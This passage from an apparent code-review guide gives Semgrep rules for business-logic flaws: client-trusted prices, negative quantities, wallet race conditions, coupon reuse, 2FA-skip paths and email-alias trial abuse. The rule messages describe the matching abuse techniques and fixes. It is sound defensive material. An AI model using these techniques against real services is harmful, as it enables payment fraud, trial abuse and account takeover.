When the bug fires asynchronously (background job processes the manipulated state), use Burp Collaborator / interact.sh to confirm execution timing. For race-condition findings, use timing-side-channel measurements via OAST DNS to verify when the second instance of the request landed.

## Source Code Review Patterns

### Semgrep rules

```yaml
rules:
  - id: bizlogic-trust-client-price
    pattern-either:
      - pattern: |
          $TOTAL = $REQ.body.total
      - pattern: |
          $TOTAL = $REQ.body.price
      - pattern: |
          $ORDER.total = $REQ.body.amount
    message: |
      Order total / price computed from client request body. Negative-quantity
      and price-manipulation attacks (AlegroCart 1.2.9 SecLists Apr 2025,
      Bagisto v2.3.6) bypass this. Recalculate server-side from cart items
      + tax + shipping + discount; never trust client-supplied totals.
    severity: ERROR
    languages: [javascript, typescript, python, php, java]
```

```yaml
rules:
  - id: bizlogic-no-quantity-validation
    pattern-either:
      - pattern: |
          quantity * price
      - pattern: |
          $QTY * $PRICE
    pattern-not-inside: |
      if ($QTY > 0) {
        ...
      }
    message: |
      Multiplication of quantity × price without sign / range validation.
      Negative quantity produces negative total — app may issue refund.
      Validate: assert quantity > 0 and quantity < MAX_REASONABLE_QTY and
      Number.isInteger(quantity).
    severity: ERROR
    languages: [javascript, typescript]
```

```yaml
rules:
  - id: bizlogic-toctou-balance-check
    pattern: |
      $BALANCE = $WALLET.getBalance()
      ...
      if ($BALANCE >= $AMOUNT) {
        ...
        $WALLET.deduct($AMOUNT)
      }
    message: |
      Read-check-write on wallet balance without database transaction or
      row-level locking. WWBN AVideo CVE-2026-34368 (GHSA-h54m-c522-h6qr)
      pattern: concurrent transfers all pass check, only one deduction
      effective. Wrap in BEGIN/COMMIT with SELECT ... FOR UPDATE on wallet
      row, OR use atomic UPDATE with WHERE balance >= amount.
    severity: ERROR
    languages: [php, python, javascript, typescript, java]
```

```yaml
rules:
  - id: bizlogic-coupon-no-usage-counter
    pattern: |
      $COUPON = $DB.find_coupon($CODE)
      if ($COUPON.valid) {
        $CART.apply_discount($COUPON.amount)
      }
    pattern-not-inside: |
      $COUPON.usage_count++
      $DB.update_coupon($COUPON)
    message: |
      Coupon application without usage-counter increment. Lilishop
      CVE-2024-50654 (CVSS 7.5) and Aditya Bhatt May 2025 InfoSec writeup
      pattern: stack same coupon N times via concurrent requests. Add
      atomic UPDATE coupons SET usage_count = usage_count + 1
      WHERE code = $CODE AND usage_count < max_usage RETURNING *.
    severity: ERROR
    languages: [python, javascript, ruby, java]
```

```yaml
rules:
  - id: bizlogic-2fa-skip-path
    pattern-either:
      - pattern-regex: 'skip[-_]?2fa|bypass[-_]?(?:2fa|mfa|otp)'
      - pattern: |
          if ($CONTEXT == "password_reset") {
            // skip 2FA
          }
    message: |
      2FA skip / bypass path detected. KhaledAhmed107 Jan 2026 disclosure:
      password reset flow with "Skip" 2FA option enables full ATO.
      Keycloak CVE-2025-3910 / GHSA-5jfq-x6xp-7rw2: org.keycloak.authorization
      package circumvents required actions including 2FA. Audit every flow
      that can authenticate a user — password reset, OAuth, recovery,
      mobile app login, API tokens — to enforce 2FA consistently.
    severity: ERROR
    languages: [python, javascript, typescript, java]
```

```yaml
rules:
  - id: bizlogic-trial-state-no-history-check
    pattern-either:
      - pattern: |
          $SUB = $DB.subscription.findOne({user_id: $UID})
          if (!$SUB.has_trialed) { grant_trial() }
      - pattern: |
          $SUB = $DB.subscriptions.first(user=$UID)
          if not $SUB.has_trialed:
              grant_trial()
    message: |
      Trial-history check uses findOne / .first which returns whichever
      record DB orders first. better-auth #6863 (Dec 2025) Stripe pattern:
      user with multiple subscriptions (one canceled with trial history,
      one new incomplete) bypasses check. Use findMany + .some() to check
      ALL subscriptions for trial history.
    severity: ERROR
    languages: [javascript, typescript, python]
```

```yaml
rules:
  - id: bizlogic-email-no-canonicalization
    pattern: |
      $USER.email = $REQ.body.email
    pattern-not-inside: |
      $REQ.body.email = canonicalize_email($REQ.body.email)
    message: |
      Email stored without canonicalization. Mahmoud Magdy Dec 2025
      pattern: user+a1@gmail.com, user+a2@gmail.com, user.dot@gmail.com,
      user@googlemail.com all deliver to same inbox but treated as distinct
      registrations enabling unlimited free-trial abuse. Strip +alias tags,
      strip dots in local-part for Gmail, normalize @googlemail.com to
      @gmail.com, lowercase entire email, enforce uniqueness on canonical form.
    severity: WARNING
    languages: [python, javascript, typescript, java, php, ruby]
```

```yaml
rules:
  - id: bizlogic-phone-change-no-old-verify
    pattern: |
      def change_phone($USER, $NEW_PHONE):

…(truncated)
